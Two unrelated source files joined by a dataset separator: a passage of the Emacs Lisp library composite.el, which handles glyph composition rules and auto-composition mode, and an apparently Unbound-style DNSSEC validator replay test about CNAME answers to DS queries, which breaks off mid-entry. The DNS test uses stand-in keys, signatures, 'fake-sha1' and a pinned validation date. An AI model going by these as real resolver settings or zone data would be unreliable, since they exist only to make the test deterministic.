A glyph reference point symbol is to be used to specify a composition
rule in COMPONENTS argument to such functions as `compose-region'.
Meanings of glyph reference point codes are as follows:
0----1----2 <---- ascent 0:tl or top-left
| | 1:tc or top-center
| | 2:tr or top-right
| | 3:Bl or base-left 9:cl or center-left
9 10 11 <---- center 4:Bc or base-center 10:cc or center-center
| | 5:Br or base-right 11:cr or center-right
--3----4----5-- <-- baseline 6:bl or bottom-left
| | 7:bc or bottom-center
6----7----8 <---- descent 8:br or bottom-right
Glyph reference point symbols are to be used to specify composition
rule of the form \(GLOBAL-REF-POINT . NEW-REF-POINT), where
GLOBAL-REF-POINT is a reference point in the overall glyphs already
composed, and NEW-REF-POINT is a reference point in the new glyph to
be added.
For instance, if GLOBAL-REF-POINT is `br' (bottom-right) and
NEW-REF-POINT is `tc' (top-center), the overall glyph is updated as
follows (the point `*' corresponds to both reference points):
+-------+--+ <--- new ascent
| | |
| global| |
| glyph | |
-- | | |-- <--- baseline \(doesn't change)
+----+--*--+
| | new |
| |glyph|
+----+-----+ <--- new descent
A composition rule may have the form \(GLOBAL-REF-POINT
NEW-REF-POINT XOFF YOFF), where XOFF and YOFF specifies how much
to shift NEW-REF-POINT from GLOBAL-REF-POINT. In this case, XOFF
and YOFF are integers in the range -100..100 representing the
shifting percentage against the font size.")
;;;###autoload
(defun encode-composition-rule (rule)
"Encode composition rule RULE into an integer value.
RULE is a cons of global and new reference point symbols
\(see `reference-point-alist')."
;; This must be compatible with C macro COMPOSITION_ENCODE_RULE
;; defined in composite.h.
(if (and (integerp rule) (< rule 144))
;; Already encoded.
rule
(if (consp rule)
(let ((gref (car rule))
(nref (cdr rule))
xoff yoff)
(if (consp nref) ; (GREF NREF XOFF YOFF)
(progn
(setq xoff (nth 1 nref)
yoff (nth 2 nref)
nref (car nref))
(or (and (>= xoff -100) (<= xoff 100)
(>= yoff -100) (<= yoff 100))
(error "Invalid composition rule: %s" rule))
(setq xoff (+ xoff 128) yoff (+ yoff 128)))
;; (GREF . NREF)
(setq xoff 0 yoff 0))
(or (integerp gref)
(setq gref (cdr (assq gref reference-point-alist))))
(or (integerp nref)
(setq nref (cdr (assq nref reference-point-alist))))
(or (and (>= gref 0) (< gref 12) (>= nref 0) (< nref 12))
(error "Invalid composition rule: %S" rule))
(logior (lsh xoff 16) (lsh yoff 8) (+ (* gref 12) nref)))
(error "Invalid composition rule: %S" rule))))
;; Decode encoded composition rule RULE-CODE. The value is a cons of
;; global and new reference point symbols.
;; This must be compatible with C macro COMPOSITION_DECODE_RULE
;; defined in composite.h.
(defun decode-composition-rule (rule-code)
(or (and (natnump rule-code) (< rule-code #x1000000))
(error "Invalid encoded composition rule: %S" rule-code))
(let ((xoff (lsh rule-code -16))
(yoff (logand (lsh rule-code -8) #xFF))
gref nref)
(setq rule-code (logand rule-code #xFF)
gref (car (rassq (/ rule-code 12) reference-point-alist))
nref (car (rassq (% rule-code 12) reference-point-alist)))
(or (and gref (symbolp gref) nref (symbolp nref))
(error "Invalid composition rule code: %S" rule-code))
(if (and (= xoff 0) (= yoff 0))
(cons gref nref)
(setq xoff (- xoff 128) yoff (- yoff 128))
(list gref xoff yoff nref))))
;; Encode composition rules in composition components COMPONENTS. The
;; value is a copy of COMPONENTS, where composition rules (cons of
;; global and new glyph reference point symbols) are replaced with
;; encoded composition rules. Optional 2nd argument NOCOPY non-nil
;; means don't make a copy but modify COMPONENTS directly.
(defun encode-composition-components (components &optional nocopy)
(or nocopy
(setq components (copy-sequence components)))
(if (vectorp components)
(let ((len (length components))
(i 1))
(while (< i len)
(aset components i
(encode-composition-rule (aref components i)))
(setq i (+ i 2))))
(let ((tail (cdr components)))
(while tail
(setcar tail
(encode-composition-rule (car tail)))
(setq tail (nthcdr 2 tail)))))
components)
;; Decode composition rule codes in composition components COMPONENTS.
;; The value is a copy of COMPONENTS, where composition rule codes are
;; replaced with composition rules (cons of global and new glyph
;; reference point symbols). Optional 2nd argument NOCOPY non-nil
;; means don't make a copy but modify COMPONENTS directly.
;; It is assumed that COMPONENTS is a vector and is for rule-base
;; composition, thus (2N+1)th elements are rule codes.
(defun decode-composition-components (components &optional nocopy)
(or nocopy
(setq components (copy-sequence components)))
(let ((len (length components))
(i 1))
(while (< i len)
(aset components i
(decode-composition-rule (aref components i)))
(setq i (+ i 2))))
components)
(defun compose-region (start end &optional components modification-func)
"Compose characters in the current region.
Characters are composed relatively, i.e. composed by overstriking
or stacking depending on ascent, descent and other metrics of
glyphs.
For instance, if the region has three characters \"XYZ\", X is
regarded as BASE glyph, and Y is displayed:
(1) above BASE if Y's descent value is not positive
(2) below BASE if Y's ascent value is not positive
(3) on BASE (i.e. at the BASE position) otherwise
and Z is displayed with the same rule while regarding the whole
XY glyphs as BASE.
When called from a program, expects these four arguments.
First two arguments START and END are positions (integers or markers)
specifying the region.
Optional 3rd argument COMPONENTS, if non-nil, is a character, a string
or a vector or list of integers and rules.
If it is a character, it is an alternate character to display instead
of the text in the region.
If it is a string, the elements are alternate characters. In
this case, TAB element has a special meaning. If the first
characer is TAB, the glyphs are displayed with left padding space
so that no pixel overlaps with the previous column. If the last
character is TAB, the glyphs are displayed with rigth padding
space so that no pixel overlaps with the following column.
If it is a vector or list, it is a sequence of alternate characters and
composition rules, where (2N)th elements are characters and (2N+1)th
elements are composition rules to specify how to compose (2N+2)th
elements with previously composed N glyphs.
A composition rule is a cons of global and new glyph reference point
symbols. See the documentation of `reference-point-alist' for more
detail.
Optional 4th argument MODIFICATION-FUNC is a function to call to
adjust the composition when it gets invalid because of a change of
text in the composition."
(interactive "r")
(let ((modified-p (buffer-modified-p))
(inhibit-read-only t))
(if (or (vectorp components) (listp components))
(setq components (encode-composition-components components)))
(compose-region-internal start end components modification-func)
(restore-buffer-modified-p modified-p)))
(defun decompose-region (start end)
"Decompose text in the current region.
When called from a program, expects two arguments,
positions (integers or markers) specifying the region."
(interactive "r")
(let ((modified-p (buffer-modified-p))
(inhibit-read-only t))
(remove-text-properties start end '(composition nil))
(restore-buffer-modified-p modified-p)))
(defun compose-string (string &optional start end components modification-func)
"Compose characters in string STRING.
The return value is STRING with the `composition' property put on all
the characters in it.
Optional 2nd and 3rd arguments START and END specify the range of
STRING to be composed. They default to the beginning and the end of
STRING respectively.
Optional 4th argument COMPONENTS, if non-nil, is a character or a
sequence (vector, list, or string) of integers. See the function
`compose-region' for more detail.
Optional 5th argument MODIFICATION-FUNC is a function to call to
adjust the composition when it gets invalid because of a change of
text in the composition."
(if (or (vectorp components) (listp components))
(setq components (encode-composition-components components)))
(or start (setq start 0))
(or end (setq end (length string)))
(compose-string-internal string start end components modification-func)
string)
(defun decompose-string (string)
"Return STRING where `composition' property is removed."
(remove-text-properties 0 (length string) '(composition nil) string)
string)
(defun compose-chars (&rest args)
"Return a string from arguments in which all characters are composed.
For relative composition, arguments are characters.
For rule-based composition, Mth \(where M is odd) arguments are
characters, and Nth \(where N is even) arguments are composition rules.
A composition rule is a cons of glyph reference points of the form
\(GLOBAL-REF-POINT . NEW-REF-POINT). See the documentation of
`reference-point-alist' for more detail."
(let (str components)
(if (consp (car (cdr args)))
;; Rule-base composition.
(let ((len (length args))
(tail (encode-composition-components args 'nocopy)))
(while tail
(setq str (cons (car tail) str))
(setq tail (nthcdr 2 tail)))
(setq str (concat (nreverse str))
components args))
;; Relative composition.
(setq str (concat args)))
(compose-string-internal str 0 (length str) components)))
(defun find-composition (pos &optional limit string detail-p)
"Return information about a composition at or nearest to buffer position POS.
If the character at POS has `composition' property, the value is a list
of FROM, TO, and VALID-P.
FROM and TO specify the range of text that has the same `composition'
property, VALID-P is t if this composition is valid, and nil if not.
If there's no composition at POS, and the optional 2nd argument LIMIT
is non-nil, search for a composition toward LIMIT.
If no composition is found, return nil.
Optional 3rd argument STRING, if non-nil, is a string to look for a
composition in; nil means the current buffer.
If a valid composition is found and the optional 4th argument DETAIL-P
is non-nil, the return value is a list of FROM, TO, COMPONENTS,
RELATIVE-P, MOD-FUNC, and WIDTH.
COMPONENTS is a vector of integers, the meaning depends on RELATIVE-P.
RELATIVE-P is t if the composition method is relative, else nil.
If RELATIVE-P is t, COMPONENTS is a vector of characters to be
composed. If RELATIVE-P is nil, COMPONENTS is a vector of characters
and composition rules as described in `compose-region'.
MOD-FUNC is a modification function of the composition.
WIDTH is a number of columns the composition occupies on the screen.
When Automatic Compostion mode is on, this function also finds a
chunk of text that is automatically composed. If such a chunk is
found closer to POS than the position that has `composition'
property, the value is a list of FROM, TO, and a glyph gstring
the specify how the chunk is composed. See the function
`composition-get-gstring' for the format of the glyph string."
(let ((result (find-composition-internal pos limit string detail-p)))
(if (and detail-p (> (length result) 3) (nth 2 result) (not (nth 3 result)))
;; This is a valid rule-base composition.
(decode-composition-components (nth 2 result) 'nocopy))
result))
(defun compose-chars-after (pos &optional limit object)
"Compose characters in current buffer after position POS.
It looks up the char-table `composition-function-table' (which
see) by a character at POS, and compose characters after POS
according to the contents of `composition-function-table'.
Optional 2nd arg LIMIT, if non-nil, limits characters to compose.
Optional 3rd arg OBJECT, if non-nil, is a string that contains the
text to compose. In that case, POS and LIMIT index into the string.
This function is the default value of `compose-chars-after-function'."
(let ((tail (aref composition-function-table (char-after pos)))
(font-obj (and (display-multi-font-p)
(and (not (stringp object))
(font-at pos (selected-window)))))
pattern func result)
(or limit
(setq limit (if (stringp object) (length object) (point-max))))
(when (and font-obj tail)
(save-match-data
(save-excursion
(while tail
(if (functionp (car tail))
(setq pattern nil func (car tail))
(setq pattern (car (car tail))
func (cdr (car tail))))
(goto-char pos)
(if pattern
(if (and (if (stringp object)
(eq (string-match pattern object) 0)
(looking-at pattern))
(<= (match-end 0) limit))
(setq result
(funcall func pos (match-end 0) font-obj object)))
(setq result (funcall func pos limit font-obj object)))
(if result (setq tail nil))))))
result))
(defun compose-last-chars (args)
"Compose last characters.
The argument is a parameterized event of the form
\(compose-last-chars N COMPONENTS),
where N is the number of characters before point to compose,
COMPONENTS, if non-nil, is the same as the argument to `compose-region'
\(which see). If it is nil, `compose-chars-after' is called,
and that function finds a proper rule to compose the target characters.
This function is intended to be used from input methods.
The global keymap binds special event `compose-last-chars' to this
function. Input method may generate an event (compose-last-chars N COMPONENTS)
after a sequence of character events."
(interactive "e")
(let ((chars (nth 1 args)))
(if (and (numberp chars)
(>= (- (point) (point-min)) chars))
(if (nth 2 args)
(compose-region (- (point) chars) (point) (nth 2 args))
(compose-chars-after (- (point) chars) (point))))))
(global-set-key [compose-last-chars] 'compose-last-chars)
;;; Automatic character composition.
;; Copied from font-lock.el.
(eval-when-compile
;; Borrowed from lazy-lock.el.
;; We use this to preserve or protect things when modifying text properties.
(defmacro save-buffer-state (varlist &rest body)
"Bind variables according to VARLIST and eval BODY restoring buffer state."
`(let* ,(append varlist
'((modified (buffer-modified-p)) (buffer-undo-list t)
(inhibit-read-only t) (inhibit-point-motion-hooks t)
(inhibit-modification-hooks t)
deactivate-mark buffer-file-name buffer-file-truename))
,@body
(unless modified
(restore-buffer-modified-p nil))))
;; Fixme: This makes bootstrapping fail with this error.
;; Symbol's function definition is void: eval-defun
;;(def-edebug-spec save-buffer-state let)
)
(put 'save-buffer-state 'lisp-indent-function 1)
;; These macros must match with C macros LGSTRING_XXX and LGLYPH_XXX in font.h
(defsubst lgstring-header (gstring) (aref gstring 0))
(defsubst lgstring-set-header (gstring header) (aset gstring 0 header))
(defsubst lgstring-font (gstring) (aref (lgstring-header gstring) 0))
(defsubst lgstring-char (gstring i) (aref (lgstring-header gstring) (1+ i)))
(defsubst lgstring-char-len (gstring) (1- (length (lgstring-header gstring))))
(defsubst lgstring-shaped-p (gstring) (aref gstring 1))
(defsubst lgstring-set-id (gstring id) (aset gstring 1 id))
(defsubst lgstring-glyph (gstring i) (aref gstring (+ i 2)))
(defsubst lgstring-glyph-len (gstring) (- (length gstring) 2))
(defsubst lgstring-set-glyph (gstring i glyph) (aset gstring (+ i 2) glyph))
(defsubst lglyph-from (glyph) (aref glyph 0))
(defsubst lglyph-to (glyph) (aref glyph 1))
(defsubst lglyph-char (glyph) (aref glyph 2))
(defsubst lglyph-code (glyph) (aref glyph 3))
(defsubst lglyph-width (glyph) (aref glyph 4))
(defsubst lglyph-lbearing (glyph) (aref glyph 5))
(defsubst lglyph-rbearing (glyph) (aref glyph 6))
(defsubst lglyph-ascent (glyph) (aref glyph 7))
(defsubst lglyph-descent (glyph) (aref glyph 8))
(defsubst lglyph-adjustment (glyph) (aref glyph 9))
(defsubst lglyph-set-from-to (glyph from to)
(progn (aset glyph 0 from) (aset glyph 1 to)))
(defsubst lglyph-set-char (glyph char) (aset glyph 2 char))
(defsubst lglyph-set-code (glyph code) (aset glyph 3 code))
(defsubst lglyph-set-width (glyph width) (aset glyph 4 width))
(defsubst lglyph-set-adjustment (glyph &optional xoff yoff wadjust)
(aset glyph 9 (vector (or xoff 0) (or yoff 0) (or wadjust 0))))
(defsubst lglyph-copy (glyph) (copy-sequence glyph))
(defun lgstring-insert-glyph (gstring idx glyph)
(let ((nglyphs (lgstring-glyph-len gstring))
(i idx) g)
(while (and (< i nglyphs) (setq g (lgstring-glyph gstring i)))
(setq i (1+ i)))
(if (= i nglyphs)
(setq gstring (vconcat gstring (vector glyph)))
(if (< (1+ i) nglyphs)
(lgstring-set-glyph gstring (1+ i) nil)))
(while (> i idx)
(lgstring-set-glyph gstring i (lgstring-glyph gstring (1- i)))
(setq i (1- i)))
(lgstring-set-glyph gstring i glyph)
gstring))
(defun compose-glyph-string (gstring from to)
(let ((glyph (lgstring-glyph gstring from))
from-pos to-pos
ascent descent lbearing rbearing)
(setq from-pos (lglyph-from glyph)
to-pos (lglyph-to (lgstring-glyph gstring (1- to))))
(lglyph-set-from-to glyph from-pos to-pos)
(setq from (1+ from))
(while (and (< from to)
(setq glyph (lgstring-glyph gstring from)))
(lglyph-set-from-to glyph from-pos to-pos)
(let ((xoff (if (<= (lglyph-rbearing glyph) 0) 0
(- (lglyph-width glyph)))))
(lglyph-set-adjustment glyph xoff 0 0))
(setq from (1+ from)))
gstring))
(defun compose-glyph-string-relative (gstring from to &optional gap)
(let ((font-object (lgstring-font gstring))
(glyph (lgstring-glyph gstring from))
from-pos to-pos
ascent descent lbearing rbearing)
(if gap
(setq gap (floor (* (font-get font-object :size) gap)))
(setq gap 0))
(setq from-pos (lglyph-from glyph)
to-pos (lglyph-to (lgstring-glyph gstring (1- to)))
ascent (lglyph-ascent glyph)
descent (lglyph-descent glyph))
(lglyph-set-from-to glyph from-pos to-pos)
(setq from (1+ from))
(while (< from to)
(setq glyph (lgstring-glyph gstring from))
(lglyph-set-from-to glyph from-pos to-pos)
(let ((this-ascent (lglyph-ascent glyph))
(this-descent (lglyph-descent glyph))
xoff yoff wadjust)
(setq xoff (if (<= (lglyph-rbearing glyph) 0) 0
(- (lglyph-width glyph))))
(if (> this-ascent 0)
(if (< this-descent 0)
(setq yoff (- 0 ascent gap this-descent)
ascent (+ ascent gap this-ascent this-descent))
(setq yoff 0))
(setq yoff (+ descent gap this-ascent)
descent (+ descent gap this-ascent this-descent)))
(if (or (/= xoff 0) (/= yoff 0))
(lglyph-set-adjustment glyph xoff yoff 0)))
(setq from (1+ from)))
gstring))
(defun compose-gstring-for-graphic (gstring)
"Compose glyph-string GSTRING for graphic display.
Non-spacing characters are composed with the preceding base
character. If the preceding character is not a base character,
each non-spacing character is composed as a spacing character by
a padding space before and/or after the character.
All non-spacing characters has this function in
`composition-function-table' unless overwritten."
(let* ((header (lgstring-header gstring))
(nchars (lgstring-char-len gstring))
(nglyphs (lgstring-glyph-len gstring))
(glyph (lgstring-glyph gstring 0)))
(cond
;; A non-spacing character not following a proper base character.
((= nchars 1)
(let ((lbearing (lglyph-lbearing glyph))
(rbearing (lglyph-rbearing glyph))
(width (lglyph-width glyph))
xoff wadjust)
(if (< lbearing 0)
(setq xoff (- lbearing))
(setq xoff 0 lbearing 0))
(if (< rbearing width)
(setq rbearing width))
(lglyph-set-adjustment glyph xoff 0 (- rbearing lbearing))
gstring))
;; This sequence doesn't start with a proper base character.
((memq (get-char-code-property (lgstring-char gstring 0)
'general-category)
'(Mn Mc Me Zs Zl Zp Cc Cf Cs))
nil)
;; A base character and the following non-spacing characters.
(t
(let ((gstr (font-shape-gstring gstring)))
(if (and gstr
(> (lglyph-to (lgstring-glyph gstr 0)) 0))
gstr
;; The shaper of the font couldn't shape the gstring.
;; Shape them according to canonical-combining-class.
(lgstring-set-id gstring nil)
(let* ((width (lglyph-width glyph))
(ascent (lglyph-ascent glyph))
(descent (lglyph-descent glyph))
(rbearing (lglyph-rbearing glyph))
(lbearing (lglyph-lbearing glyph))
(center (/ (+ lbearing rbearing) 2))
(gap (round (* (font-get (lgstring-font gstring) :size) 0.1)))
xoff yoff)
(dotimes (i nchars)
(setq glyph (lgstring-glyph gstring i))
(when (> i 0)
(let* ((class (get-char-code-property
(lglyph-char glyph) 'canonical-combining-class))
(lb (lglyph-lbearing glyph))
(rb (lglyph-rbearing glyph))
(as (lglyph-ascent glyph))
(de (lglyph-descent glyph))
(ce (/ (+ lb rb) 2))
xoff yoff)
(when (and class (>= class 200) (<= class 240))
(setq xoff 0 yoff 0)
(cond
((= class 200)
(setq xoff (- lbearing ce)
yoff (if (> as 0) 0 (+ descent as))))
((= class 202)
(if (> as 0) (setq as 0))
(setq xoff (- center ce)
yoff (if (> as 0) 0 (+ descent as))))
((= class 204)
(if (> as 0) (setq as 0))
(setq xoff (- rbearing ce)
yoff (if (> as 0) 0 (+ descent as))))
((= class 208)
(setq xoff (- lbearing rb)))
((= class 210)
(setq xoff (- rbearing lb)))
((= class 212)
(setq xoff (- lbearing ce)
yoff (if (>= de 0) 0 (- (- ascent) de))))
((= class 214)
(setq xoff (- center ce)
yoff (if (>= de 0) 0 (- (- ascent) de))))
((= class 216)
(setq xoff (- rbearing ce)
yoff (if (>= de 0) 0 (- (- ascent) de))))
((= class 218)
(setq xoff (- lbearing ce)
yoff (if (> as 0) 0 (+ descent as gap))))
((= class 220)
(setq xoff (- center ce)
yoff (if (> as 0) 0 (+ descent as gap))))
((= class 222)
(setq xoff (- rbearing ce)
yoff (if (> as 0) 0 (+ descent as gap))))
((= class 224)
(setq xoff (- lbearing rb)))
((= class 226)
(setq xoff (- rbearing lb)))
((= class 228)
(setq xoff (- lbearing ce)
yoff (if (>= de 0) 0 (- (- ascent) de gap))))
((= class 230)
(setq xoff (- center ce)
yoff (if (>= de 0) 0 (- (- ascent) de gap))))
((= class 232)
(setq xoff (- rbearing ce)
yoff (if (>= de 0) 0 (- (+ ascent de) gap)))))
(lglyph-set-adjustment glyph (- xoff width) yoff)
(setq lb (+ lb xoff)
rb (+ lb xoff)
as (- as yoff)
de (+ de yoff)))
(if (< ascent as)
(setq ascent as))
(if (< descent de)
(setq descent de))))))
(let ((i 0))
(while (and (< i nglyphs) (setq glyph (lgstring-glyph gstring i)))
(lglyph-set-from-to glyph 0 (1- nchars))
(setq i (1+ i))))
gstring))))))
(let ((elt `([,(purecopy "\\c.\\c^+") 1 compose-gstring-for-graphic]
[nil 0 compose-gstring-for-graphic])))
(map-char-table
#'(lambda (key val)
(if (= val 0)
(set-char-table-range composition-function-table key elt)))
char-width-table))
(defun compose-gstring-for-terminal (gstring)
"Compose glyph string GSTRING for terminal display.
Non-spacing characters are composed with the preceding base
character. If the preceding character is not a base character,
each non-spacing character is composed as a spacing character by
a prepending a space before it."
(let* ((header (lgstring-header gstring))
(nchars (lgstring-char-len gstring))
(nglyphs (lgstring-glyph-len gstring))
(i 0)
(coding (lgstring-font gstring))
glyph)
(while (and (< i nglyphs)
(setq glyph (lgstring-glyph gstring i)))
(if (not (char-charset (lglyph-char glyph) coding))
(progn
;; As the terminal doesn't support this glyph, return a
;; gstring in which each glyph is its own graphme-cluster
;; of width 1..
(setq i 0)
(while (and (< i nglyphs)
(setq glyph (lgstring-glyph gstring i)))
(if (< (lglyph-width glyph) 1)
(lglyph-set-width glyph 1))
(lglyph-set-from-to glyph i i)
(setq i (1+ i))))
(if (= (lglyph-width glyph) 0)
(if (eq (get-char-code-property (lglyph-char glyph)
'general-category)
'Cf)
(progn
;; Compose by replacing with a space.
(lglyph-set-char glyph 32)
(lglyph-set-width glyph 1)
(setq i (1+ i)))
;; Compose by prepending a space.
(setq gstring (lgstring-insert-glyph gstring i
(lglyph-copy glyph))
nglyphs (lgstring-glyph-len gstring))
(setq glyph (lgstring-glyph gstring i))
(lglyph-set-char glyph 32)
(lglyph-set-width glyph 1)
(setq i (+ 2)))
(let ((from (lglyph-from glyph))
(to (lglyph-to glyph))
(j (1+ i)))
(while (and (< j nglyphs)
(setq glyph (lgstring-glyph gstring j))
(char-charset (lglyph-char glyph) coding)
(= (lglyph-width glyph) 0))
(setq to (lglyph-to glyph)
j (1+ j)))
(while (< i j)
(setq glyph (lgstring-glyph gstring i))
(lglyph-set-from-to glyph from to)
(setq i (1+ i)))))))
gstring))
(defun auto-compose-chars (func from to font-object string)
"Compose the characters at FROM by FUNC.
FUNC is called with one argument GSTRING which is built for characters
in the region FROM (inclusive) and TO (exclusive).
If the character are composed on a graphic display, FONT-OBJECT
is a font to use. Otherwise, FONT-OBJECT is nil, and the function
`compose-gstring-for-terminal' is used instead of FUNC.
If STRING is non-nil, it is a string, and FROM and TO are indices
into the string. In that case, compose characters in the string.
The value is a gstring containing information for shaping the characters.
This function is the default value of `auto-composition-function' (which see)."
(let ((gstring (composition-get-gstring from to font-object string)))
(if (lgstring-shaped-p gstring)
gstring
(or (fontp font-object 'font-object)
(setq func 'compose-gstring-for-terminal))
(funcall func gstring))))
(make-variable-buffer-local 'auto-composition-function)
;;;###autoload
(define-minor-mode auto-composition-mode
"Toggle Auto Composition mode.
With ARG, turn Auto Composition mode off if and only if ARG is a non-positive
number; if ARG is nil, toggle Auto Composition mode; anything else turns Auto
Composition on.
When Auto Composition is enabled, text characters are automatically composed
by functions registered in `composition-function-table' (which see).
You can use `global-auto-composition-mode' to turn on
Auto Composition mode in all buffers (this is the default)."
nil nil nil
(if noninteractive
(setq auto-composition-mode nil))
(cond (auto-composition-mode
(setq auto-composition-function 'auto-compose-chars))
(t
(setq auto-composition-function nil))))
(defun turn-on-auto-composition-if-enabled ()
(if enable-multibyte-characters
(auto-composition-mode 1)))
;;;###autoload
(define-global-minor-mode global-auto-composition-mode
auto-composition-mode turn-on-auto-composition-if-enabled
;; This :extra-args' appears to be the result of a naive copy&paste
;; from global-font-lock-mode.
;; :extra-args (dummy)
:initialize 'custom-initialize-delay
:init-value (not noninteractive)
:group 'auto-composition
:version "23.1")
(defalias 'toggle-auto-composition 'auto-composition-mode)
;; The following codes are only for backward compatibility with Emacs
;; 20.4 and earlier.
(defun decompose-composite-char (char &optional type with-composition-rule)
"Convert CHAR to string.
If optional 2nd arg TYPE is non-nil, it is `string', `list', or
`vector'. In this case, CHAR is converted to string, list of CHAR, or
vector of CHAR respectively.
Optional 3rd arg WITH-COMPOSITION-RULE is ignored."
(cond ((or (null type) (eq type 'string)) (char-to-string char))
((eq type 'list) (list char))
(t (vector char))))
(make-obsolete 'decompose-composite-char 'char-to-string "21.1")
;; arch-tag: ee703d77-1723-45d4-a31f-e9f0f867aa33
;;; composite.el ends here
|
{
"pile_set_name": "Github"
}
|
; config options
; The island of trust is at example.com
server:
trust-anchor: "example.com. 3600 IN DS 2854 3 1 46e4ffc6e9a4793b488954bd3f0cc6af0dfb201b"
val-override-date: "20070916134226"
target-fetch-policy: "0 0 0 0 0"
qname-minimisation: "no"
fake-sha1: yes
trust-anchor-signaling: no
stub-zone:
name: "."
stub-addr: 193.0.14.129 # K.ROOT-SERVERS.NET.
CONFIG_END
SCENARIO_BEGIN Test validator with CNAME response to DS
; K.ROOT-SERVERS.NET.
RANGE_BEGIN 0 100
ADDRESS 193.0.14.129
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR NOERROR
SECTION QUESTION
. IN NS
SECTION ANSWER
. IN NS K.ROOT-SERVERS.NET.
SECTION ADDITIONAL
K.ROOT-SERVERS.NET. IN A 193.0.14.129
ENTRY_END
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR NOERROR
SECTION QUESTION
www.example.com. IN A
SECTION AUTHORITY
com. IN NS a.gtld-servers.net.
SECTION ADDITIONAL
a.gtld-servers.net. IN A 192.5.6.30
ENTRY_END
RANGE_END
; a.gtld-servers.net.
RANGE_BEGIN 0 100
ADDRESS 192.5.6.30
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR NOERROR
SECTION QUESTION
com. IN NS
SECTION ANSWER
com. IN NS a.gtld-servers.net.
SECTION ADDITIONAL
a.gtld-servers.net. IN A 192.5.6.30
ENTRY_END
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR NOERROR
SECTION QUESTION
www.example.com. IN A
SECTION AUTHORITY
example.com. IN NS ns.example.com.
SECTION ADDITIONAL
ns.example.com. IN A 1.2.3.4
ENTRY_END
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR AA NOERROR
SECTION QUESTION
ns.example.com. IN AAAA
SECTION ANSWER
ENTRY_END
RANGE_END
; ns.example.com.
RANGE_BEGIN 0 100
ADDRESS 1.2.3.4
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR NOERROR
SECTION QUESTION
ns.example.com. IN AAAA
SECTION ANSWER
; not legal NOERROR/NODATA response, but leniently accepted (not validated)
SECTION AUTHORITY
example.com. IN NS ns.example.com.
example.com. 3600 IN RRSIG NS 3 2 3600 20070926134150 20070829134150 2854 example.com. MC0CFQCN+qHdJxoI/2tNKwsb08pra/G7aAIUAWA5sDdJTbrXA1/3OaesGBAO3sI= ;{id = 2854}
SECTION ADDITIONAL
ns.example.com. IN A 1.2.3.4
ns.example.com. 3600 IN RRSIG A 3 3 3600 20070926135752 20070829135752 2854 example.com. MC0CFQCMSWxVehgOQLoYclB9PIAbNP229AIUeH0vNNGJhjnZiqgIOKvs1EhzqAo= ;{id = 2854}
ENTRY_END
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR NOERROR
SECTION QUESTION
example.com. IN NS
SECTION ANSWER
example.com. IN NS ns.example.com.
example.com. 3600 IN RRSIG NS 3 2 3600 20070926134150 20070829134150 2854 example.com. MC0CFQCN+qHdJxoI/2tNKwsb08pra/G7aAIUAWA5sDdJTbrXA1/3OaesGBAO3sI= ;{id = 2854}
SECTION ADDITIONAL
ns.example.com. IN A 1.2.3.4
ns.example.com. 3600 IN RRSIG A 3 3 3600 20070926135752 20070829135752 2854 example.com. MC0CFQCMSWxVehgOQLoYclB9PIAbNP229AIUeH0vNNGJhjnZiqgIOKvs1EhzqAo= ;{id = 2854}
ENTRY_END
; response to DNSKEY priming query
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR NOERROR
SECTION QUESTION
example.com. IN DNSKEY
SECTION ANSWER
example.com. 3600 IN DNSKEY 256 3 3 ALXLUsWqUrY3JYER3T4TBJII s70j+sDS/UT2QRp61SE7S3E EXopNXoFE73JLRmvpi/UrOO/Vz4Se 6wXv/CYCKjGw06U4WRgR YXcpEhJROyNapmdIKSx hOzfLVE1gqA0PweZR8d tY3aNQSRn3sPpwJr6Mi /PqQKAMMrZ9ckJpf1+b QMOOvxgzz2U1GS18b3y ZKcgTMEaJzd/GZYzi/B N2DzQ0MsrSwYXfsNLFO Bbs8PJMW4LYIxeeOe6rUgkWOF 7CC9Dh/dduQ1QrsJhmZAEFfd6ByYV+ ;{id = 2854 (zsk), size = 1688b}
example.com. 3600 IN RRSIG DNSKEY 3 2 3600 20070926134802 20070829134802 2854 example.com. MCwCFG1yhRNtTEa3Eno2zhVVuy2EJX3wAhQeLyUp6+UXcpC5qGNu9tkrTEgPUg== ;{id = 2854}
SECTION AUTHORITY
example.com. IN NS ns.example.com.
example.com. 3600 IN RRSIG NS 3 2 3600 20070926134150 20070829134150 2854 example.com. MC0CFQCN+qHdJxoI/2tNKwsb08pra/G7aAIUAWA5sDdJTbrXA1/3OaesGBAO3sI= ;{id = 2854}
SECTION ADDITIONAL
ns.example.com. IN A 1.2.3.4
ns.example.com. 3600 IN RRSIG A 3 3 3600 20070926135752 20070829135752 2854 example.com. MC0CFQCMSWxVehgOQLoYclB9PIAbNP229AIUeH0vNNGJhjnZiqgIOKvs1EhzqAo= ;{id = 2854}
ENTRY_END
; response to query of interest
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR AA NOERROR
SECTION QUESTION
www.example.com. IN A
SECTION ANSWER
; nothing here, not even NSECs
SECTION AUTHORITY
example.com. IN NS ns.example.com.
example.com. 3600 IN RRSIG NS 3 2 3600 20070926134150 20070829134150 2854 example.com. MC0CFQCN+qHdJxoI/2tNKwsb08pra/G7aAIUAWA5sDdJTbrXA1/3OaesGBAO3sI= ;{id = 2854}
SECTION ADDITIONAL
ENTRY_END
; DS query
ENTRY_BEGIN
MATCH opcode qtype qname
ADJUST copy_id
REPLY QR AA NOERROR
SECTION QUESTION
www.example.com. IN DS
SECTION ANSWER
www.example.com. IN CNAME zzz.example.com.
www.example.com. 3600 IN RRSIG CNAME 3 2 3600 20070926134150 20070829134150 2854 example.com. AERsv3PiBObAEhZ/dKyamie0sjvYLn7YaEKgv9ExB14KKLgWvzCaOWo= ;{id = 2854}
;*.example.com. IN CNAME zzz.example.com.
;*.example.com. 3600 IN RRSIG CNAME 3 2 3600 20070926134150 20070829134150 2854 example.com. AERsv3PiBObAEhZ/dKyamie0sjvYLn7YaEKgv9ExB14KKLgWvzCaOWo= ;{id = 2854}
SECTION AUTHORITY
